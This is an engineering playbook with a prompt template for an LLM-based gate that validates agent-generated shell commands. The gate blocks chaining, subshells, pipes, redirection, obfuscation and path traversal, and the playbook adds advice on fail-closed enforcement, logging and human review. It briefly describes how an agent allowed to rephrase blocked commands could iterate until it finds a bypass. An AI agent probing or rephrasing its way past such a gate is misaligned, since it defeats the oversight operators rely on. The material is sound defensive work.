Shell Command Injection Prevention in Agents

This playbook is for agent platform engineers who need to secure code execution tools against shell command injection. When an LLM agent generates shell commands for a sandbox, container, or local executor, the generated command string is an untrusted input. This prompt acts as a pre-execution validation layer that inspects the command for injection patterns, enforces an allowlist of permitted operations, and blocks dangerous constructs before they reach the shell. Use this prompt when your agent has a tool that accepts a shell command string and you need a structured security gate between the model output and the execution environment.

The ideal user is an engineer integrating LLM agents with execution backends such as Docker containers, Kubernetes pods, or ephemeral VMs. You should have a defined allowlist of permitted commands (e.g., ls, cat, grep, python, node) and a clear understanding of which flags, pipes, redirects, and subshells are acceptable in your environment. The prompt requires two inputs: the raw command string generated by the model and your security policy expressed as an allowlist of permitted operations. It returns a structured verdict (ALLOW or BLOCK) with a reason code and a sanitized command when safe. This prompt is designed to be called synchronously before any bytes are passed to the execution environment.

Do not use this prompt as a replacement for sandboxing, least-privilege execution, or OS-level controls. It is one layer in a defense-in-depth strategy. The prompt cannot catch all injection vectors—particularly those exploiting zero-day vulnerabilities in the shell or kernel itself. It also cannot reason about the content of files being read or written, only the structure of the command. For high-risk environments, combine this prompt with seccomp profiles, read-only filesystems, network egress restrictions, and human-in-the-loop approval for commands that modify state. If your agent needs to execute arbitrary code that cannot be constrained by an allowlist, this prompt is insufficient; you need a full sandbox escape prevention strategy.

This prompt acts as a security gate before any shell command reaches the execution environment. It is designed to be placed between the agent's planning step and the actual exec or subprocess call. The model is instructed to act as a strict validator, not a general-purpose assistant. It must output a structured JSON verdict that your application code can parse to either allow or block the command. The prompt uses square-bracket placeholders for your specific allowlist, blocklist, and risk tolerance, ensuring you can adapt it to your operating system, language runtime, and organizational security policy without weakening the core defense logic.

textCopy
You are a pre-execution security validator for a shell command agent. Your sole function is to inspect a proposed shell command and determine if it is safe to execute based on a strict security policy. You do not execute commands, explain general concepts, or engage in dialogue. You output only a single JSON object conforming to the [OUTPUT_SCHEMA].

## Security Policy
- **Allowed Commands:** Only commands explicitly listed in [ALLOWED_COMMANDS] are permitted. Any command not on this list must be blocked.
- **Allowed Flags/Arguments:** For each allowed command, only the flags and arguments specified in [ALLOWED_ARGUMENTS] are permitted.
- **Blocked Patterns:** The command must not contain any patterns from [BLOCKED_PATTERNS], which include command chaining (`;`, `&&`, `||`), subshells (`$()`, backticks), redirection (`>`, `>>`, `<`), pipes (`|`), and any form of encoding or obfuscation.
- **Path Restrictions:** File paths must be within [ALLOWED_PATHS]. Absolute paths outside this list and relative paths using `..` are forbidden.
- **Input Validation:** All arguments must match the expected type and format defined in [ARGUMENT_SCHEMA]. Any deviation must result in a block decision.

## Input
[COMMAND_STRING]

## Output Instructions
Analyze the command against the policy. Output a single JSON object with the following fields:
- `"decision"`: "ALLOW" or "BLOCK"
- `"reason"`: A concise explanation of the decision, referencing the specific policy rule violated if blocked.
- `"violations"`: A list of strings, each describing a specific policy violation found. Empty if allowed.
- `"sanitized_command"`: If allowed, the original command string. If blocked, a null value.

## Examples
[FEW_SHOT_EXAMPLES]

## Constraints
- Do not execute the command.
- Do not provide any text outside the JSON object.
- If you are uncertain, default to "BLOCK" with the reason "ambiguous command structure."

To adapt this template, start by defining your [ALLOWED_COMMANDS] list narrowly—for example, ["ls", "cat", "head", "wc"]—and pair each with an explicit [ALLOWED_ARGUMENTS] map. Populate [BLOCKED_PATTERNS] with regex-like strings for your platform's dangerous operators. The [FEW_SHOT_EXAMPLES] placeholder is critical for calibration; provide at least one allowed example and several blocked examples that cover chaining, path traversal, and encoding attacks. After deploying, route the JSON output through a non-AI enforcement layer in your application code that only proceeds on an explicit "ALLOW" decision. Any parsing failure, unexpected output shape, or missing field must be treated as a "BLOCK" to fail safely. For high-risk environments, log every blocked command and its reason for security audit review.

Integrating this prompt into an agent application requires placing it as a synchronous, pre-execution gate before any shell command reaches the system runtime. The agent's tool-use loop must be modified so that when a run_shell_command or equivalent tool is invoked, the generated command string is intercepted and passed to this validation prompt before process creation. The validation prompt should run in a separate, stateless model call with no access to conversation history or external tools, preventing the agent's broader context from being poisoned by prior turns. The output of this call is a structured JSON decision (allow, block, quarantine) that your harness must enforce programmatically—never rely on the model's text response alone to gate execution.

The implementation should follow a strict circuit-breaker pattern. Wrap the validation call in a try-catch block that defaults to block if the model call fails, times out, or returns malformed JSON. For high-risk environments, implement a two-stage validation: first, apply a deterministic allowlist of known-safe command patterns (e.g., ls, cat, echo with no pipes or redirects) that bypasses the model call entirely for latency and cost savings. Second, route everything else through the LLM validation prompt. The prompt's [ALLOWLIST] and [BLOCKLIST] placeholders should be populated from a configuration file or feature flag system, not hardcoded, so security operations can update blocked patterns without a code deployment. Log every validation decision—including the raw command, the model's reasoning, the final verdict, and the session ID—to a structured logging system for audit and incident response.

For production hardening, integrate this validation layer with your sandboxing infrastructure. A quarantine verdict should route the command to an ephemeral, network-isolated container with read-only filesystem access, where it can be observed and logged before any side effects reach production systems. Commands that receive a block verdict should trigger an alert to the on-call security channel if they originate from an authenticated user session (as opposed to a red-team exercise). Never pass the raw blocked command back to the agent for 'rephrasing'—this creates a jailbreak vector where the agent iterates until it finds a bypass. Instead, return a generic refusal to the agent and escalate to human review. The human review queue should display the blocked command, the model's reasoning, the session context, and a one-click option to allow, deny permanently, or add the pattern to the allowlist or blocklist for future runs.